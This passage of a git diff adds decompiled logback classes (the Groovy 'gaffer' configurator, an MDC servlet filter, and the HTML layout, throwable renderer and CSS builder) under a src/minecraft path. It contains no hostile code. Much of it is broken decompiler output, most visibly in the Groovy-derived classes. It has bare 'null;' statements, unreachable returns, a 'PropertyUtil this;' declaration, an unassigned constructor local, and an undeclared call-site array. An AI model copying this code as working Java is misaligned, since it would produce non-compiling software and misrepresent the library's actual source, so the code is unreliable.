+    CallSite[] arrayOfCallSite = $getCallSiteArray();
+    if ((__$stMC) || (BytecodeInterface8.disabledStandardMetaClass()))
+    {
+      scan(null);
+      null;
+    }
+    else
+    {
+      scan(null);
+      null;
+    }
+  }
+  
+  public void logger(String name, Level level, List<String> appenderNames)
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();
+    logger(name, level, appenderNames, null);
+    null;
+  }
+  
+  public void appender(String name, Class clazz)
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();
+    appender(name, clazz, null);
+    null;
+  }
+  
+  public void receiver(String name, Class aClass)
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();
+    receiver(name, aClass, null);
+    null;
+  }
+  
+  public void turboFilter(Class clazz)
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();
+    turboFilter(clazz, null);
+    null;
+  }
+  
+  public String timestamp(String datePattern)
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();
+    if ((__$stMC) || (BytecodeInterface8.disabledStandardMetaClass())) {
+      return timestamp(datePattern, DefaultTypeTransformation.longUnbox(Integer.valueOf(-1)));
+    } else {
+      return timestamp(datePattern, DefaultTypeTransformation.longUnbox(Integer.valueOf(-1)));
+    }
+    return null;
+  }
+  
+  public void jmxConfigurator()
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();
+    if ((__$stMC) || (BytecodeInterface8.disabledStandardMetaClass()))
+    {
+      jmxConfigurator(null);
+      null;
+    }
+    else
+    {
+      jmxConfigurator(null);
+      null;
+    }
+  }
+  
+  public List<Appender> getAppenderList()
+  {
+    return appenderList;
+  }
+  
+  public void setAppenderList(List<Appender> paramList)
+  {
+    appenderList = paramList;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/gaffer/GafferConfigurator.java b/src/minecraft/ch/qos/logback/classic/gaffer/GafferConfigurator.java
new file mode 100644
index 0000000..68aaec1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/gaffer/GafferConfigurator.java
@@ -0,0 +1,161 @@
+package ch.qos.logback.classic.gaffer;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.classic.encoder.PatternLayoutEncoder;
+import ch.qos.logback.core.joran.util.ConfigurationWatchListUtil;
+import ch.qos.logback.core.status.OnConsoleStatusListener;
+import ch.qos.logback.core.util.ContextUtil;
+import groovy.lang.Binding;
+import groovy.lang.Closure;
+import groovy.lang.GroovyObject;
+import groovy.lang.MetaClass;
+import groovy.lang.Reference;
+import groovy.lang.Script;
+import java.io.File;
+import java.net.URL;
+import org.codehaus.groovy.control.CompilerConfiguration;
+import org.codehaus.groovy.control.customizers.ImportCustomizer;
+import org.codehaus.groovy.runtime.ArrayUtil;
+import org.codehaus.groovy.runtime.BytecodeInterface8;
+import org.codehaus.groovy.runtime.GStringImpl;
+import org.codehaus.groovy.runtime.GeneratedClosure;
+import org.codehaus.groovy.runtime.ScriptBytecodeAdapter;
+import org.codehaus.groovy.runtime.callsite.CallSite;
+import org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation;
+
+public class GafferConfigurator implements GroovyObject
+{
+  private LoggerContext context;
+  private static final String DEBUG_SYSTEM_PROPERTY_KEY = "logback.debug";
+  
+  public GafferConfigurator(LoggerContext arg1)
+  {
+    LoggerContext context;
+    CallSite[] arrayOfCallSite = $getCallSiteArray();MetaClass localMetaClass = $getStaticMetaClass();metaClass = localMetaClass;LoggerContext localLoggerContext1 = context;this.context = ((LoggerContext)ScriptBytecodeAdapter.castToType(localLoggerContext1, LoggerContext.class));
+  }
+  
+  protected void informContextOfURLUsedForConfiguration(URL url) {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();arrayOfCallSite[0].call(ConfigurationWatchListUtil.class, context, url);
+  }
+  
+  public void run(URL url) {
+    CallSite[] arrayOfCallSite = $getCallSiteArray(); if ((__$stMC) || (BytecodeInterface8.disabledStandardMetaClass())) { arrayOfCallSite[1].callCurrent(this, url); } else { informContextOfURLUsedForConfiguration(url);null; }
+    arrayOfCallSite[2].callCurrent(this, arrayOfCallSite[3].callGetProperty(url));
+  }
+  
+  public void run(File file) {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();arrayOfCallSite[4].callCurrent(this, arrayOfCallSite[5].call(arrayOfCallSite[6].call(file)));
+    arrayOfCallSite[7].callCurrent(this, arrayOfCallSite[8].callGetProperty(file));
+  }
+  
+
+
+
+
+
+
+  class _run_closure1
+    extends Closure
+    implements GeneratedClosure
+  {
+    public _run_closure1(Object _thisObject, Reference dslScript)
+    {
+      super(_thisObject);
+      Reference localReference = dslScript;
+      this.dslScript = localReference;
+    }
+    
+
+
+
+
+
+
+    public Object doCall(Object it)
+    {
+      CallSite[] arrayOfCallSite = $getCallSiteArray();return dslScript.get();return null;
+    }
+    
+    public Script getDslScript()
+    {
+      CallSite[] arrayOfCallSite = $getCallSiteArray();
+      return (Script)ScriptBytecodeAdapter.castToType(dslScript.get(), Script.class);
+      return null;
+    }
+    
+    public Object doCall()
+    {
+      CallSite[] arrayOfCallSite = $getCallSiteArray();
+      return doCall(null);
+      return null;
+    }
+  }
+  
+  public void run(String dslText)
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();Binding binding = (Binding)ScriptBytecodeAdapter.castToType(arrayOfCallSite[9].callConstructor(Binding.class), Binding.class);
+    arrayOfCallSite[10].call(binding, "hostname", arrayOfCallSite[11].callGetProperty(ContextUtil.class));
+    
+    Object configuration = arrayOfCallSite[12].callConstructor(CompilerConfiguration.class);
+    if ((__$stMC) || (BytecodeInterface8.disabledStandardMetaClass())) arrayOfCallSite[13].call(configuration, arrayOfCallSite[14].callCurrent(this)); else { arrayOfCallSite[15].call(configuration, importCustomizer());
+    }
+    String debugAttrib = (String)org.codehaus.groovy.runtime.typehandling.ShortTypeHandling.castToString(arrayOfCallSite[16].call(System.class, DEBUG_SYSTEM_PROPERTY_KEY));
+    if (((DefaultTypeTransformation.booleanUnbox(arrayOfCallSite[17].call(ch.qos.logback.core.util.OptionHelper.class, debugAttrib))) || (DefaultTypeTransformation.booleanUnbox(arrayOfCallSite[18].call(debugAttrib, "false"))) ? 1 : 0) == 0) {}
+    if ((DefaultTypeTransformation.booleanUnbox(arrayOfCallSite[19].call(debugAttrib, "null")) ? 1 : 0) == 0)
+    {
+
+
+      arrayOfCallSite[20].call(OnConsoleStatusListener.class, context);
+    }
+    
+
+    arrayOfCallSite[21].call(arrayOfCallSite[22].callConstructor(ContextUtil.class, context), arrayOfCallSite[23].call(context));
+    
+    Reference dslScript = new Reference((Script)ScriptBytecodeAdapter.castToType(arrayOfCallSite[24].call(arrayOfCallSite[25].callConstructor(groovy.lang.GroovyShell.class, binding, configuration), dslText), Script.class));
+    
+    arrayOfCallSite[26].call(arrayOfCallSite[27].callGroovyObjectGetProperty((Script)dslScript.get()), ConfigurationDelegate.class);
+    arrayOfCallSite[28].call((Script)dslScript.get(), context);
+    _run_closure1 local_run_closure1 = new _run_closure1(this, dslScript);ScriptBytecodeAdapter.setProperty(local_run_closure1, null, arrayOfCallSite[29].callGroovyObjectGetProperty((Script)dslScript.get()), "getDeclaredOrigin");
+    
+    arrayOfCallSite[30].call((Script)dslScript.get());
+  }
+  
+  protected ImportCustomizer importCustomizer() {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();Object customizer = arrayOfCallSite[31].callConstructor(ImportCustomizer.class);
+    
+
+    Object core = "ch.qos.logback.core";
+    arrayOfCallSite[32].call(customizer, ArrayUtil.createArray(core, new GStringImpl(new Object[] { core }, new String[] { "", ".encoder" }), new GStringImpl(new Object[] { core }, new String[] { "", ".read" }), new GStringImpl(new Object[] { core }, new String[] { "", ".rolling" }), new GStringImpl(new Object[] { core }, new String[] { "", ".status" }), "ch.qos.logback.classic.net"));
+    
+
+    arrayOfCallSite[33].call(customizer, arrayOfCallSite[34].callGetProperty(PatternLayoutEncoder.class));
+    
+    arrayOfCallSite[35].call(customizer, arrayOfCallSite[36].callGetProperty(Level.class));
+    
+    arrayOfCallSite[37].call(customizer, "off", arrayOfCallSite[38].callGetProperty(Level.class), "OFF");
+    arrayOfCallSite[39].call(customizer, "error", arrayOfCallSite[40].callGetProperty(Level.class), "ERROR");
+    arrayOfCallSite[41].call(customizer, "warn", arrayOfCallSite[42].callGetProperty(Level.class), "WARN");
+    arrayOfCallSite[43].call(customizer, "info", arrayOfCallSite[44].callGetProperty(Level.class), "INFO");
+    arrayOfCallSite[45].call(customizer, "debug", arrayOfCallSite[46].callGetProperty(Level.class), "DEBUG");
+    arrayOfCallSite[47].call(customizer, "trace", arrayOfCallSite[48].callGetProperty(Level.class), "TRACE");
+    arrayOfCallSite[49].call(customizer, "all", arrayOfCallSite[50].callGetProperty(Level.class), "ALL");
+    
+    return (ImportCustomizer)ScriptBytecodeAdapter.castToType(customizer, ImportCustomizer.class);return null;
+  }
+  
+  public LoggerContext getContext()
+  {
+    return context;
+  }
+  
+  public void setContext(LoggerContext paramLoggerContext)
+  {
+    context = paramLoggerContext;
+  }
+  
+  public static final String getDEBUG_SYSTEM_PROPERTY_KEY()
+  {
+    return DEBUG_SYSTEM_PROPERTY_KEY;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/gaffer/GafferUtil.java b/src/minecraft/ch/qos/logback/classic/gaffer/GafferUtil.java
new file mode 100644
index 0000000..7d97f8b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/gaffer/GafferUtil.java
@@ -0,0 +1,78 @@
+package ch.qos.logback.classic.gaffer;
+
+import ch.qos.logback.classic.LoggerContext;
+import ch.qos.logback.core.status.ErrorStatus;
+import ch.qos.logback.core.status.StatusManager;
+import java.io.File;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.net.URL;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class GafferUtil
+{
+  public GafferUtil() {}
+  
+  private static String ERROR_MSG = "Failed to instantiate ch.qos.logback.classic.gaffer.GafferConfigurator";
+  
+  public static void runGafferConfiguratorOn(LoggerContext loggerContext, Object origin, File configFile) {
+    GafferConfigurator gafferConfigurator = newGafferConfiguratorInstance(loggerContext, origin);
+    if (gafferConfigurator != null) {
+      gafferConfigurator.run(configFile);
+    }
+  }
+  
+  public static void runGafferConfiguratorOn(LoggerContext loggerContext, Object origin, URL configFile) {
+    GafferConfigurator gafferConfigurator = newGafferConfiguratorInstance(loggerContext, origin);
+    if (gafferConfigurator != null) {
+      gafferConfigurator.run(configFile);
+    }
+  }
+  
+  private static GafferConfigurator newGafferConfiguratorInstance(LoggerContext loggerContext, Object origin)
+  {
+    try {
+      Class gcClass = Class.forName("ch.qos.logback.classic.gaffer.GafferConfigurator");
+      Constructor c = gcClass.getConstructor(new Class[] { LoggerContext.class });
+      return (GafferConfigurator)c.newInstance(new Object[] { loggerContext });
+    } catch (ClassNotFoundException e) {
+      addError(loggerContext, origin, ERROR_MSG, e);
+    } catch (NoSuchMethodException e) {
+      addError(loggerContext, origin, ERROR_MSG, e);
+    } catch (InvocationTargetException e) {
+      addError(loggerContext, origin, ERROR_MSG, e);
+    } catch (InstantiationException e) {
+      addError(loggerContext, origin, ERROR_MSG, e);
+    } catch (IllegalAccessException e) {
+      addError(loggerContext, origin, ERROR_MSG, e);
+    }
+    return null;
+  }
+  
+  private static void addError(LoggerContext context, Object origin, String msg) {
+    addError(context, origin, msg, null);
+  }
+  
+  private static void addError(LoggerContext context, Object origin, String msg, Throwable t) {
+    StatusManager sm = context.getStatusManager();
+    if (sm == null) {
+      return;
+    }
+    sm.add(new ErrorStatus(msg, origin, t));
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/gaffer/NestingType.java b/src/minecraft/ch/qos/logback/classic/gaffer/NestingType.java
new file mode 100644
index 0000000..6a6eef5
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/gaffer/NestingType.java
@@ -0,0 +1,48 @@
+package ch.qos.logback.classic.gaffer;
+
+import groovy.lang.GroovyObject;
+import groovy.lang.MetaClass;
+import java.util.LinkedHashMap;
+import org.codehaus.groovy.runtime.ScriptBytecodeAdapter;
+import org.codehaus.groovy.runtime.callsite.CallSite;
+import org.codehaus.groovy.runtime.typehandling.ShortTypeHandling;
+import org.codehaus.groovy.transform.ImmutableASTTransformation;
+
+public enum NestingType
+  implements GroovyObject
+{
+  public static final NestingType MIN_VALUE;
+  public static final NestingType MAX_VALUE;
+  
+  public NestingType(LinkedHashMap __namedArgs)
+  {
+    MetaClass localMetaClass = $getStaticMetaClass();
+    metaClass = localMetaClass;
+    if (ScriptBytecodeAdapter.compareEqual(__namedArgs, null)) {
+      throw ((Throwable)arrayOfCallSite[0].callConstructor(IllegalArgumentException.class, "One of the enum constants for enum ch.qos.logback.classic.gaffer.NestingType was initialized with null. Please use a non-null value or define your own constructor."));
+    } else {
+      arrayOfCallSite[1].callStatic(ImmutableASTTransformation.class, this, __namedArgs);
+    }
+  }
+  
+  public NestingType()
+  {
+    this((LinkedHashMap)ScriptBytecodeAdapter.castToType(arrayOfCallSite[2].callConstructor(LinkedHashMap.class), LinkedHashMap.class));
+  }
+  
+  static
+  {
+    Object localObject1 = $getCallSiteArray()[13].callStatic(NestingType.class, "NA", Integer.valueOf(0));
+    NA = (NestingType)ShortTypeHandling.castToEnum(localObject1, NestingType.class);
+    Object localObject2 = $getCallSiteArray()[14].callStatic(NestingType.class, "SINGLE", Integer.valueOf(1));
+    SINGLE = (NestingType)ShortTypeHandling.castToEnum(localObject2, NestingType.class);
+    Object localObject3 = $getCallSiteArray()[15].callStatic(NestingType.class, "AS_COLLECTION", Integer.valueOf(2));
+    AS_COLLECTION = (NestingType)ShortTypeHandling.castToEnum(localObject3, NestingType.class);
+    NestingType localNestingType1 = NA;
+    MIN_VALUE = localNestingType1;
+    NestingType localNestingType2 = AS_COLLECTION;
+    MAX_VALUE = localNestingType2;
+    NestingType[] arrayOfNestingType = { NA, SINGLE, AS_COLLECTION };
+    $VALUES = arrayOfNestingType;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/gaffer/PropertyUtil.java b/src/minecraft/ch/qos/logback/classic/gaffer/PropertyUtil.java
new file mode 100644
index 0000000..bedf9fb
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/gaffer/PropertyUtil.java
@@ -0,0 +1,77 @@
+package ch.qos.logback.classic.gaffer;
+
+import groovy.lang.Closure;
+import groovy.lang.GroovyObject;
+import groovy.lang.MetaClass;
+import java.beans.Introspector;
+import org.codehaus.groovy.runtime.BytecodeInterface8;
+import org.codehaus.groovy.runtime.GStringImpl;
+import org.codehaus.groovy.runtime.GeneratedClosure;
+import org.codehaus.groovy.runtime.ScriptBytecodeAdapter;
+import org.codehaus.groovy.runtime.callsite.CallSite;
+import org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation;
+import org.codehaus.groovy.runtime.typehandling.ShortTypeHandling;
+
+public class PropertyUtil implements GroovyObject
+{
+  public PropertyUtil()
+  {
+    PropertyUtil this;
+    CallSite[] arrayOfCallSite = $getCallSiteArray();
+    MetaClass localMetaClass = $getStaticMetaClass();
+    metaClass = localMetaClass;
+  }
+  
+  public static boolean hasAdderMethod(Object obj, String name)
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();String addMethod = null; GStringImpl localGStringImpl1; GStringImpl localGStringImpl2; if ((__$stMC) || (BytecodeInterface8.disabledStandardMetaClass())) { localGStringImpl1 = new GStringImpl(new Object[] { arrayOfCallSite[0].callStatic(PropertyUtil.class, name) }, new String[] { "add", "" });addMethod = (String)ShortTypeHandling.castToString(localGStringImpl1); } else { localGStringImpl2 = new GStringImpl(new Object[] { upperCaseFirstLetter(name) }, new String[] { "add", "" });addMethod = (String)ShortTypeHandling.castToString(localGStringImpl2); }
+    return DefaultTypeTransformation.booleanUnbox(arrayOfCallSite[1].call(arrayOfCallSite[2].callGetProperty(obj), obj, addMethod));return DefaultTypeTransformation.booleanUnbox(Integer.valueOf(0));
+  }
+  
+  public static NestingType nestingType(Object obj, String name) {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();Object decapitalizedName = arrayOfCallSite[3].call(Introspector.class, name);
+    if (DefaultTypeTransformation.booleanUnbox(arrayOfCallSite[4].call(obj, decapitalizedName))) {
+      return (NestingType)ShortTypeHandling.castToEnum(arrayOfCallSite[5].callGetProperty(NestingType.class), NestingType.class);
+    }
+    if (DefaultTypeTransformation.booleanUnbox(arrayOfCallSite[6].callStatic(PropertyUtil.class, obj, name))) {
+      return (NestingType)ShortTypeHandling.castToEnum(arrayOfCallSite[7].callGetProperty(NestingType.class), NestingType.class);
+    }
+    return (NestingType)ShortTypeHandling.castToEnum(arrayOfCallSite[8].callGetProperty(NestingType.class), NestingType.class);return null;
+  }
+  
+  public static void attach(NestingType nestingType, Object component, Object subComponent, String name) {
+    CallSite[] arrayOfCallSite = $getCallSiteArray();NestingType localNestingType = nestingType;
+    if (ScriptBytecodeAdapter.isCase(localNestingType, arrayOfCallSite[9].callGetProperty(NestingType.class))) {
+      Object localObject1 = arrayOfCallSite[10].call(Introspector.class, name);name = (String)ShortTypeHandling.castToString(localObject1);
+      Object localObject2 = subComponent;ScriptBytecodeAdapter.setProperty(localObject2, null, component, (String)ShortTypeHandling.castToString(new GStringImpl(new Object[] { name }, new String[] { "", "" })));
+      return;
+    } else if (!ScriptBytecodeAdapter.isCase(localNestingType, arrayOfCallSite[11].callGetProperty(NestingType.class))) { return; }
+    String firstUpperName = (String)ShortTypeHandling.castToString(arrayOfCallSite[12].call(PropertyUtil.class, name));
+    ScriptBytecodeAdapter.invokeMethodN(PropertyUtil.class, component, (String)ShortTypeHandling.castToString(new GStringImpl(new Object[] { firstUpperName }, new String[] { "add", "" })), new Object[] { subComponent });
+  }
+  
+
+  public static String transformFirstLetter(String s, Closure closure)
+  {
+    CallSite[] arrayOfCallSite = $getCallSiteArray(); if ((!BytecodeInterface8.isOrigInt()) || (!BytecodeInterface8.isOrigZ()) || (__$stMC) || (BytecodeInterface8.disabledStandardMetaClass())) { if (((ScriptBytecodeAdapter.compareEqual(s, null)) || (ScriptBytecodeAdapter.compareEqual(arrayOfCallSite[13].call(s), Integer.valueOf(0))) ? 1 : 0) != 0) {
+        return s;
+      }
+    }
+    else if (((ScriptBytecodeAdapter.compareEqual(s, null)) || (ScriptBytecodeAdapter.compareEqual(arrayOfCallSite[14].call(s), Integer.valueOf(0))) ? 1 : 0) != 0) {
+      return s;
+    }
+    String firstLetter = (String)ShortTypeHandling.castToString(arrayOfCallSite[15].callConstructor(String.class, arrayOfCallSite[16].call(s, Integer.valueOf(0))));
+    
+    String modifiedFistLetter = (String)ShortTypeHandling.castToString(arrayOfCallSite[17].call(closure, firstLetter));
+    
+    if (ScriptBytecodeAdapter.compareEqual(arrayOfCallSite[18].call(s), Integer.valueOf(1))) {
+      return modifiedFistLetter;
+    } else
+      return (String)ShortTypeHandling.castToString(arrayOfCallSite[19].call(modifiedFistLetter, arrayOfCallSite[20].call(s, Integer.valueOf(1)))); return null;
+  }
+  
+  class _upperCaseFirstLetter_closure1 extends Closure implements GeneratedClosure { public _upperCaseFirstLetter_closure1(Object _thisObject) { super(_thisObject); }
+    
+    public Object doCall(String it) { CallSite[] arrayOfCallSite = $getCallSiteArray();return arrayOfCallSite[0].call(it);return null; } public Object call(String it) { CallSite[] arrayOfCallSite = $getCallSiteArray(); if ((__$stMC) || (BytecodeInterface8.disabledStandardMetaClass())) return arrayOfCallSite[1].callCurrent(this, it); else return doCall(it); return null; } } public static String upperCaseFirstLetter(String s) { CallSite[] arrayOfCallSite = $getCallSiteArray();return (String)ShortTypeHandling.castToString(arrayOfCallSite[21].callStatic(PropertyUtil.class, s, new _upperCaseFirstLetter_closure1(PropertyUtil.class, PropertyUtil.class)));return null;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/helpers/MDCInsertingServletFilter.java b/src/minecraft/ch/qos/logback/classic/helpers/MDCInsertingServletFilter.java
new file mode 100644
index 0000000..59ee35c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/helpers/MDCInsertingServletFilter.java
@@ -0,0 +1,94 @@
+package ch.qos.logback.classic.helpers;
+
+import java.io.IOException;
+import javax.servlet.Filter;
+import javax.servlet.FilterChain;
+import javax.servlet.FilterConfig;
+import javax.servlet.ServletException;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+import javax.servlet.http.HttpServletRequest;
+import org.slf4j.MDC;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MDCInsertingServletFilter
+  implements Filter
+{
+  public MDCInsertingServletFilter() {}
+  
+  public void destroy() {}
+  
+  public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
+    throws IOException, ServletException
+  {
+    insertIntoMDC(request);
+    try {
+      chain.doFilter(request, response);
+    } finally {
+      clearMDC();
+    }
+  }
+  
+  void insertIntoMDC(ServletRequest request)
+  {
+    MDC.put("req.remoteHost", request.getRemoteHost());
+    
+
+    if ((request instanceof HttpServletRequest)) {
+      HttpServletRequest httpServletRequest = (HttpServletRequest)request;
+      MDC.put("req.requestURI", httpServletRequest.getRequestURI());
+      
+      StringBuffer requestURL = httpServletRequest.getRequestURL();
+      if (requestURL != null) {
+        MDC.put("req.requestURL", requestURL.toString());
+      }
+      MDC.put("req.method", httpServletRequest.getMethod());
+      MDC.put("req.queryString", httpServletRequest.getQueryString());
+      MDC.put("req.userAgent", httpServletRequest.getHeader("User-Agent"));
+      
+      MDC.put("req.xForwardedFor", httpServletRequest.getHeader("X-Forwarded-For"));
+    }
+  }
+  
+
+  void clearMDC()
+  {
+    MDC.remove("req.remoteHost");
+    MDC.remove("req.requestURI");
+    MDC.remove("req.queryString");
+    
+    MDC.remove("req.requestURL");
+    MDC.remove("req.method");
+    MDC.remove("req.userAgent");
+    MDC.remove("req.xForwardedFor");
+  }
+  
+  public void init(FilterConfig arg0)
+    throws ServletException
+  {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/html/DefaultCssBuilder.java b/src/minecraft/ch/qos/logback/classic/html/DefaultCssBuilder.java
new file mode 100644
index 0000000..bc3f30d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/html/DefaultCssBuilder.java
@@ -0,0 +1,75 @@
+package ch.qos.logback.classic.html;
+
+import ch.qos.logback.core.CoreConstants;
+import ch.qos.logback.core.html.CssBuilder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultCssBuilder
+  implements CssBuilder
+{
+  public DefaultCssBuilder() {}
+  
+  public void addCss(StringBuilder sbuf)
+  {
+    sbuf.append("<style  type=\"text/css\">");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    sbuf.append("table { margin-left: 2em; margin-right: 2em; border-left: 2px solid #AAA; }");
+    
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    
+    sbuf.append("TR.even { background: #FFFFFF; }");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    
+    sbuf.append("TR.odd { background: #EAEAEA; }");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    
+    sbuf.append("TR.warn TD.Level, TR.error TD.Level, TR.fatal TD.Level {font-weight: bold; color: #FF4040 }");
+    
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    
+    sbuf.append("TD { padding-right: 1ex; padding-left: 1ex; border-right: 2px solid #AAA; }");
+    
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    
+    sbuf.append("TD.Time, TD.Date { text-align: right; font-family: courier, monospace; font-size: smaller; }");
+    
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    
+    sbuf.append("TD.Thread { text-align: left; }");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    
+    sbuf.append("TD.Level { text-align: right; }");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    
+    sbuf.append("TD.Logger { text-align: left; }");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    
+    sbuf.append("TR.header { background: #596ED5; color: #FFF; font-weight: bold; font-size: larger; }");
+    
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    
+    sbuf.append("TD.Exception { background: #A2AEE8; font-family: courier, monospace;}");
+    
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+    
+    sbuf.append("</style>");
+    sbuf.append(CoreConstants.LINE_SEPARATOR);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/html/DefaultThrowableRenderer.java b/src/minecraft/ch/qos/logback/classic/html/DefaultThrowableRenderer.java
new file mode 100644
index 0000000..fc24070
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/html/DefaultThrowableRenderer.java
@@ -0,0 +1,67 @@
+package ch.qos.logback.classic.html;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.spi.IThrowableProxy;
+import ch.qos.logback.classic.spi.StackTraceElementProxy;
+import ch.qos.logback.core.CoreConstants;
+import ch.qos.logback.core.helpers.Transform;
+import ch.qos.logback.core.html.IThrowableRenderer;
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultThrowableRenderer
+  implements IThrowableRenderer<ILoggingEvent>
+{
+  static final String TRACE_PREFIX = "<br />&nbsp;&nbsp;&nbsp;&nbsp;";
+  
+  public DefaultThrowableRenderer() {}
+  
+  public void render(StringBuilder sbuf, ILoggingEvent event)
+  {
+    IThrowableProxy tp = event.getThrowableProxy();
+    sbuf.append("<tr><td class=\"Exception\" colspan=\"6\">");
+    while (tp != null) {
+      render(sbuf, tp);
+      tp = tp.getCause();
+    }
+    sbuf.append("</td></tr>");
+  }
+  
+  void render(StringBuilder sbuf, IThrowableProxy tp) {
+    printFirstLine(sbuf, tp);
+    
+    int commonFrames = tp.getCommonFrames();
+    StackTraceElementProxy[] stepArray = tp.getStackTraceElementProxyArray();
+    
+    for (int i = 0; i < stepArray.length - commonFrames; i++) {
+      StackTraceElementProxy step = stepArray[i];
+      sbuf.append("<br />&nbsp;&nbsp;&nbsp;&nbsp;");
+      sbuf.append(Transform.escapeTags(step.toString()));
+      sbuf.append(CoreConstants.LINE_SEPARATOR);
+    }
+    
+    if (commonFrames > 0) {
+      sbuf.append("<br />&nbsp;&nbsp;&nbsp;&nbsp;");
+      sbuf.append("\t... ").append(commonFrames).append(" common frames omitted").append(CoreConstants.LINE_SEPARATOR);
+    }
+  }
+  
+  public void printFirstLine(StringBuilder sb, IThrowableProxy tp)
+  {
+    int commonFrames = tp.getCommonFrames();
+    if (commonFrames > 0) {
+      sb.append("<br />").append("Caused by: ");
+    }
+    sb.append(tp.getClassName()).append(": ").append(Transform.escapeTags(tp.getMessage()));
+    
+    sb.append(CoreConstants.LINE_SEPARATOR);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/html/HTMLLayout.java b/src/minecraft/ch/qos/logback/classic/html/HTMLLayout.java
new file mode 100644
index 0000000..f052af9
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/html/HTMLLayout.java
@@ -0,0 +1,142 @@
+package ch.qos.logback.classic.html;
+
+import ch.qos.logback.classic.Level;
+import ch.qos.logback.classic.PatternLayout;
+import ch.qos.logback.classic.pattern.MDCConverter;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.CoreConstants;
+import ch.qos.logback.core.helpers.Transform;
+import ch.qos.logback.core.html.HTMLLayoutBase;
+import ch.qos.logback.core.html.IThrowableRenderer;
+import ch.qos.logback.core.pattern.Converter;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HTMLLayout
+  extends HTMLLayoutBase<ILoggingEvent>
+{
+  static final String DEFAULT_CONVERSION_PATTERN = "%date%thread%level%logger%mdc%msg";
+  IThrowableRenderer<ILoggingEvent> throwableRenderer;
+  
+  public HTMLLayout()
+  {
+    pattern = "%date%thread%level%logger%mdc%msg";
+    throwableRenderer = new DefaultThrowableRenderer();
+    cssBuilder = new DefaultCssBuilder();
+  }
+  
+  public void start()
+  {
+    int errorCount = 0;
+    if (throwableRenderer == null) {
+      addError("ThrowableRender cannot be null.");
+      errorCount++;
+    }
+    if (errorCount == 0) {
+      super.start();
+    }
+  }
+  
+  protected Map<String, String> getDefaultConverterMap() {
+    return PatternLayout.defaultConverterMap;
+  }
+  
+  public String doLayout(ILoggingEvent event) {
+    StringBuilder buf = new StringBuilder();
+    startNewTableIfLimitReached(buf);
+    
+    boolean odd = true;
+    if ((counter++ & 1L) == 0L) {
+      odd = false;
+    }
+    
+    String level = event.getLevel().toString().toLowerCase();
+    
+    buf.append(CoreConstants.LINE_SEPARATOR);
+    buf.append("<tr class=\"");
+    buf.append(level);
+    if (odd) {
+      buf.append(" odd\">");
+    } else {
+      buf.append(" even\">");
+    }
+    buf.append(CoreConstants.LINE_SEPARATOR);
+    
+    Converter<ILoggingEvent> c = head;
+    while (c != null) {
+      appendEventToBuffer(buf, c, event);
+      c = c.getNext();
+    }
+    buf.append("</tr>");
+    buf.append(CoreConstants.LINE_SEPARATOR);
+    
+    if (event.getThrowableProxy() != null) {
+      throwableRenderer.render(buf, event);
+    }
+    return buf.toString();
+  }
+  
+  private void appendEventToBuffer(StringBuilder buf, Converter<ILoggingEvent> c, ILoggingEvent event)
+  {
+    buf.append("<td class=\"");
+    buf.append(computeConverterName(c));
+    buf.append("\">");
+    buf.append(Transform.escapeTags(c.convert(event)));
+    buf.append("</td>");
+    buf.append(CoreConstants.LINE_SEPARATOR);
+  }
+  
+  public IThrowableRenderer getThrowableRenderer() {
+    return throwableRenderer;
+  }
+  
